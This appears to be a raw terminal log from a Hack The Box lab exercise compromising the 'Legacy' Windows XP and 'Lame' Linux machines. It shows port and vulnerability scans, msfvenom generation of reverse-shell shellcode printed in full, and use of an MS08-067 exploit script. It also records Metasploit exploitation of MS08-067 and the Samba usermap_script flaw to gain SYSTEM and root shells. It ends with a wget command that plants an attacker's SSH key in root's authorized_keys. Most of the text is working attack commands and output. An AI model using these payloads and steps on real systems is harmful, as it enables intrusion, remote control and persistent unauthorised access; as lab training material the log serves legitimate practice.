Completed Ping Scan at 13:20, 0.09s elapsed (1 total hosts)
Initiating UDP Scan at 13:20
Scanning 10.10.10.4 [65535 ports]
Discovered open port 137/udp on 10.10.10.4
Completed UDP Scan at 13:53, 2009.34s elapsed (65535 total ports)
Nmap scan report for 10.10.10.4
Host is up (0.055s latency).
Not shown: 65534 open|filtered ports
PORT    STATE SERVICE
137/udp open  netbios-ns

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2009.57 seconds
           Raw packets sent: 131126 (3.680MB) | Rcvd: 55 (13.420KB)

root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.4

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-10-06 03:15:47 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Discovered open port 137/udp on 10.10.10.4

root@laptop:~# nmap -sV -sC -p139,445,U:137 -v -n 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 22:58 CDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
Initiating Ping Scan at 22:58
Scanning 10.10.10.4 [4 ports]
Completed Ping Scan at 22:58, 0.26s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:58
Scanning 10.10.10.4 [2 ports]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Completed SYN Stealth Scan at 22:58, 0.26s elapsed (2 total ports)
Initiating Service scan at 22:58
Scanning 2 services on 10.10.10.4
Completed Service scan at 22:58, 6.92s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.4.
Initiating NSE at 22:58
Completed NSE at 22:59, 51.78s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
map scan report for 10.10.10.4
Host is up (0.21s latency).

PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: -4h45m20s, deviation: 2h07m16s, median: -6h15m20s
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a4:2c:5b (VMware)
| Names:
|   LEGACY<00>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   LEGACY<20>           Flags: <unique><active>
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2019-10-06T03:42:50+03:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

NSE: Script Post-scanning.
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.87 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket$ nbtscan -v 10.10.10.4
Doing NBT name scan for addresses from 10.10.10.4


NetBIOS Name Table for Host 10.10.10.4:

Name             Service          Type
----------------------------------------
LEGACY           <00>             UNIQUE
HTB              <00>              GROUP
LEGACY           <20>             UNIQUE
HTB              <1e>              GROUP
HTB              <1d>             UNIQUE
__MSBROWSE__  <01>              GROUP

Adapter address: 00:50:56:a4:2c:5b
----------------------------------------

root@laptop:~# nmap -pT:445,U:137,T:139 -sU -sS -n -v -Pn --script smb-protocols.nse -sV -sC 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-06 07:53 CST
NSE: Loaded 46 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 07:53
Completed NSE at 07:53, 0.00s elapsed
Initiating NSE at 07:53
Completed NSE at 07:53, 0.00s elapsed
Initiating SYN Stealth Scan at 07:53
Scanning 10.10.10.4 [2 ports]
Discovered open port 445/tcp on 10.10.10.4
Discovered open port 139/tcp on 10.10.10.4
Completed SYN Stealth Scan at 07:53, 0.12s elapsed (2 total ports)
Initiating UDP Scan at 07:53
Scanning 10.10.10.4 [1 port]
Discovered open port 137/udp on 10.10.10.4
Completed UDP Scan at 07:53, 0.12s elapsed (1 total ports)
Initiating Service scan at 07:53
Scanning 3 services on 10.10.10.4
Completed Service scan at 07:53, 6.37s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.4.
Initiating NSE at 07:53
Completed NSE at 07:54, 50.68s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Nmap scan report for 10.10.10.4
Host is up (0.083s latency).

PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
137/udp open  netbios-ns   Microsoft Windows netbios-ns (workgroup: HTB)
Service Info: Host: LEGACY; OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-protocols:
|   dialects:
|_    NT LM 0.12 (SMBv1) [dangerous, but default]

NSE: Script Post-scanning.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.91 seconds
           Raw packets sent: 3 (166B) | Rcvd: 3 (336B)

root@laptop:~# nmap -pT:445,U:137,T:139 -sU -sS -n -v -Pn --script vuln -sV -sC 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-06 08:07 CST
NSE: Loaded 149 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:07
Completed NSE at 08:07, 10.00s elapsed
Initiating NSE at 08:07
Completed NSE at 08:07, 0.00s elapsed
Initiating SYN Stealth Scan at 08:07
Scanning 10.10.10.4 [2 ports]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Completed SYN Stealth Scan at 08:07, 1.52s elapsed (2 total ports)
Initiating UDP Scan at 08:07
Scanning 10.10.10.4 [1 port]
Discovered open port 137/udp on 10.10.10.4
Completed UDP Scan at 08:07, 0.12s elapsed (1 total ports)
Initiating Service scan at 08:07
Scanning 3 services on 10.10.10.4
Completed Service scan at 08:07, 6.34s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.4.
Initiating NSE at 08:07
Completed NSE at 08:07, 5.25s elapsed
Initiating NSE at 08:07
Completed NSE at 08:07, 0.03s elapsed
Nmap scan report for 10.10.10.4
Host is up (0.079s latency).

PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
137/udp open  netbios-ns   Microsoft Windows netbios-ns (workgroup: HTB)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
Service Info: Host: LEGACY; OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

NSE: Script Post-scanning.
Initiating NSE at 08:07
Completed NSE at 08:07, 0.00s elapsed
Initiating NSE at 08:07
Completed NSE at 08:07, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.06 seconds
           Raw packets sent: 4 (210B) | Rcvd: 3 (336B)

xbytemx@laptop:~/git$ git clone https://github.com/andyacer/ms08_067
Clonando en 'ms08_067'...
remote: Enumerating objects: 37, done.
remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37
Desempaquetando objetos: 100% (37/37), listo.
xbytemx@laptop:~/git$ cd ms08_067/
xbytemx@laptop:~/git/ms08_067$ python ms08_067_2018.py
#######################################################################
#   MS08-067 Exploit
...

xbytemx@laptop:~/git/ms08_067$ msfvenom --payload windows/shell_reverse_tcp --nopsled 7 LHOST=10.10.14.26 LPORT=3001 EXITFUNC=thread --bad-chars "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -e x86/jmp_call_additive -a x86 --platform windows
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Successfully added NOP sled of size 7 from x86/single_byte
Payload size: 360 bytes
Final size of c file: 1536 bytes
unsigned char buf[] =
"\x4b\xfd\x93\x90\xd6\xf8\x90\xfc\xbb\xc1\x87\xd9\xf4\xeb\x0c"
"\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff"
"\xff\xff\x3d\x6f\x5b\xf4\xbd\x70\x3c\x7c\x58\x41\x7c\x1a\x29"
"\xf2\x4c\x68\x7f\xff\x27\x3c\x6b\x74\x45\xe9\x9c\x3d\xe0\xcf"
"\x93\xbe\x59\x33\xb2\x3c\xa0\x60\x14\x7c\x6b\x75\x55\xb9\x96"
"\x74\x07\x12\xdc\x2b\xb7\x17\xa8\xf7\x3c\x6b\x3c\x70\xa1\x3c"
"\x3f\x51\x74\x36\x66\x71\x77\x9b\x12\x38\x6f\xf8\x1f\xf2\x04"
"\xca\xd4\x05\xcc\x02\x14\xa9\x31\xab\xe7\xb3\x76\x0c\x18\xc6"
"\x8e\x6e\xa5\xd1\x55\x0c\x71\x57\x4d\xb6\xf2\xcf\xa9\x46\xd6"
"\x96\x3a\x44\x93\xdd\x64\x49\x22\x31\x1f\x75\xaf\xb4\xcf\xff"
"\xeb\x92\xcb\xa4\xa8\xbb\x4a\x01\x1e\xc3\x8c\xea\xff\x61\xc7"
"\x07\xeb\x1b\x8a\x4f\xd8\x11\x34\x90\x76\x21\x47\xa2\xd9\x99"
"\xcf\x8e\x92\x07\x08\xf0\x88\xf0\x86\x0f\x33\x01\x8f\xcb\x67"
"\x51\xa7\xfa\x07\x3a\x37\x02\xd2\xed\x67\xac\x8d\x4d\xd7\x0c"
"\x7e\x26\x3d\x83\xa1\x56\x3e\x49\xca\xfd\xc5\x1a\xff\x0b\xcb"
"\xc0\x97\x09\xd3\xff\xde\x87\x35\x95\x30\xce\xee\x02\xa8\x4b"
"\x64\xb2\x35\x46\x01\xf4\xbe\x65\xf6\xbb\x36\x03\xe4\x2c\xb7"
"\x5e\x56\xfa\xc8\x74\xfe\x60\x5a\x13\xfe\xef\x47\x8c\xa9\xb8"
"\xb6\xc5\x3f\x55\xe0\x7f\x5d\xa4\x74\x47\xe5\x73\x45\x46\xe4"
"\xf6\xf1\x6c\xf6\xce\xfa\x28\xa2\x9e\xac\xe6\x1c\x59\x07\x49"
"\xf6\x33\xf4\x03\x9e\xc2\x36\x94\xd8\xca\x12\x62\x04\x7a\xcb"
"\x33\x3b\xb3\x9b\xb3\x44\xa9\x3b\x3b\x9f\x69\x5b\xde\x35\x84"
"\xf4\x47\xdc\x25\x99\x77\x0b\x69\xa4\xfb\xb9\x12\x53\xe3\xc8"
"\x17\x1f\xa3\x21\x6a\x30\x46\x45\xd9\x31\x43\x45\xdd\xcd\x6c";

xbytemx@laptop:~/git/ms08_067$ python2 ms08_067_2018.py 10.10.10.4 7 445
#######################################################################
#   MS08-067 Exploit
#   This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
#   Mod in 2018 by Andy Acer:
#   - Added support for selecting a target port at the command line.
#     It seemed that only 445 was previously supported.
#   - Changed library calls to correctly establish a NetBIOS session for SMB transport
#   - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
#     into this source file.
#######################################################################

Windows XP SP3 English (AlwaysOn NX)

[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish

xbytemx@laptop:~$ ncat -vnlp 3001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.10.4.
Ncat: Connection from 10.10.10.4:1029.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
C:\WINDOWS\system32>systeminfo
systeminfo

Host Name:                 LEGACY
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Uniprocessor Free
Registered Owner:          user
Registered Organization:   HTB
Product ID:                55274-643-7213323-23904
Original Install Date:     16/3/2017, 7:32:23
System Up Time:            0 Days, 0 Hours, 19 Minutes, 35 Seconds
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1998 Mhz
BIOS Version:              INTEL  - 6040000
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     511 MB
Available Physical Memory: 395 MB
Virtual Memory: Max Size:  2.048 MB
Virtual Memory: Available: 2.009 MB
Virtual Memory: In Use:    39 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
NetWork Card(s):           1 NIC(s) Installed.
                           [01]: AMD PCNET Family PCI Ethernet Adapter
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.4

C:\WINDOWS\system32>

msf5 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


msf5 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   10.10.10.4       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.23      yes       The listen address (an interface may be specified)
   LPORT     3002             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf5 exploit(windows/smb/ms08_067_netapi) >
msf5 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.10.14.23:3002
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (180291 bytes) to 10.10.10.4
[*] Meterpreter session 2 opened (10.10.14.23:3002 -> 10.10.10.4:1030) at 2019-10-06 01:45:42 -0500

meterpreter >

meterpreter > sysinfo
Computer        : LEGACY
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > type C:\Documents and Settings\john\Desktop\user.txt

meterpreter > type C:\Documents and Settings\Administrator\Desktop\root.txt

root@laptop:~# nmap -sS -n --open -v -p- 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-05 08:05 CST
Initiating Ping Scan at 08:05
Scanning 10.10.10.3 [4 ports]
Completed Ping Scan at 08:05, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 08:05
Scanning 10.10.10.3 [65535 ports]
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 08:09, 233.00s elapsed (65535 total ports)
Nmap scan report for 10.10.10.3
Host is up (0.087s latency).
Not shown: 65530 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 233.25 seconds
           Raw packets sent: 131240 (5.775MB) | Rcvd: 176 (7.728KB)

root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.3

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-10-06 00:30:56 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3

root@laptop:~# nmap -sV -sC -p139,445,3632,21 -v -n 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 19:36 CDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:36
Completed NSE at 19:36, 0.00s elapsed
Initiating NSE at 19:36
Completed NSE at 19:36, 0.00s elapsed
Initiating NSE at 19:36
Completed NSE at 19:36, 0.00s elapsed
Initiating Ping Scan at 19:36
Scanning 10.10.10.3 [4 ports]
Completed Ping Scan at 19:36, 0.43s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:36
Scanning 10.10.10.3 [4 ports]
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 19:36, 0.18s elapsed (4 total ports)
Initiating Service scan at 19:36
Scanning 4 services on 10.10.10.3
Completed Service scan at 19:36, 11.94s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.10.3.
Initiating NSE at 19:36
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 19:37, 40.06s elapsed
Initiating NSE at 19:37
Completed NSE at 19:37, 0.80s elapsed
Initiating NSE at 19:37
Completed NSE at 19:37, 0.00s elapsed
Nmap scan report for 10.10.10.3
Host is up (0.28s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.23
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OS: Unix

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

NSE: Script Post-scanning.
Initiating NSE at 19:37
Completed NSE at 19:37, 0.00s elapsed
Initiating NSE at 19:37
Completed NSE at 19:37, 0.00s elapsed
Initiating NSE at 19:37
Completed NSE at 19:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.09 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

xbytemx@laptop:~/htb/lame$ wget --mirror ftp://10.10.10.3
--2019-10-05 19:39:09--  ftp://10.10.10.3/
           => “10.10.10.3/.listing”
Conectando con 10.10.10.3:21... conectado.
Identificándose como anonymous ... ¡Dentro!
==> SYST ... hecho.   ==> PWD ... hecho.
==> TYPE I ... hecho.  ==> no se necesita CWD.
==> PASV ... hecho.   ==> LIST ... hecho.

10.10.10.3/.listing                                 [ <=>                                                                                                  ]     119  --.-KB/s    en 0.001s

2019-10-05 19:39:11 (180 KB/s) - “10.10.10.3/.listing” guardado [119]

--2019-10-05 19:39:11--  ftp://10.10.10.3/
           => “10.10.10.3/index.html”
==> no se requiere CWD.
==> SIZE  ... hecho.

==> PASV ... hecho.   ==> RETR  ...
No existe tal fichero “”.

ACABADO --2019-10-05 19:39:12--
Tiempo total de reloj: 3.0s
Descargados: 1 ficheros, 119 en 0.001s (180 KB/s)

xbytemx@laptop:~/htb/lame$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:xbytemx): anonymous
331 Please specify the password.
Password:
+230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> bye
221 Goodbye.
xbytemx@laptop:~/htb/lame$

(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket/examples$ python smbclient.py 10.10.10.3
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

Type help for list of commands
# shares
print$
tmp
opt
IPC$
ADMIN$
# use tmp
# ls
drw-rw-rw-          0  Sat Oct  5 19:21:28 2019 .
drw-rw-rw-          0  Sun May 20 13:36:11 2012 ..
drw-rw-rw-          0  Sat Oct  5 19:15:38 2019 .ICE-unix
-rw-rw-rw-          0  Sat Oct  5 19:16:41 2019 5139.jsvc_up
drw-rw-rw-          0  Sat Oct  5 19:16:03 2019 .X11-unix
-rw-rw-rw-         11  Sat Oct  5 19:16:03 2019 .X0-lock
# use opt
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use print$
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use IPC$
[-] SMB SessionError: STATUS_NETWORK_ACCESS_DENIED(Network access is denied.)
# use ADMIN$
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# exit

xbytemx@laptop:~/git/exploit-database$ ./searchsploit ftp 2.3.4
-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/home/xbytemx/git/exploit-database//)
-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                | exploits/unix/remote/17491.rb
-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
Shellcodes: No Result

msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


msf5 > use 0
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exit

(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket/examples$ smbclient -L 10.10.10.3
Unable to initialize messaging context
Enter WORKGROUP\xbytemx's password:
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk
	IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            LAME

xbytemx@laptop:~/git/exploit-database$ ./searchsploit Samba 3.0.20
-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/home/xbytemx/git/exploit-database//)
-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                      | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                                 | exploits/linux/remote/7701.txt
-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
Shellcodes: No Result

msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.10.14.23:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 11hUeTXzLVKsyhQx;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "11hUeTXzLVKsyhQx\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.23:4444 -> 10.10.10.3:33932) at 2019-10-05 20:00:32 -0500


id
uid=0(root) gid=0(root)

xbytemx@laptop:~/.ssh$ python3 -m http.server 4001
Serving HTTP on 0.0.0.0 port 4001 (http://0.0.0.0:4001/) ...
10.10.10.3 - - [05/Nov/2019 08:24:47] "GET /id_rsa.pub HTTP/1.0" 200 -
^C
Keyboard interrupt received, exiting.

wget http://10.10.14.2:4001/id_rsa.pub -O /root/.ssh/authorized_keys
--09:24:58--  http://10.10.14.2:4001/id_rsa.pub
           => `/root/.ssh/authorized_keys'
Connecting to 10.10.14.2:4001... connected.
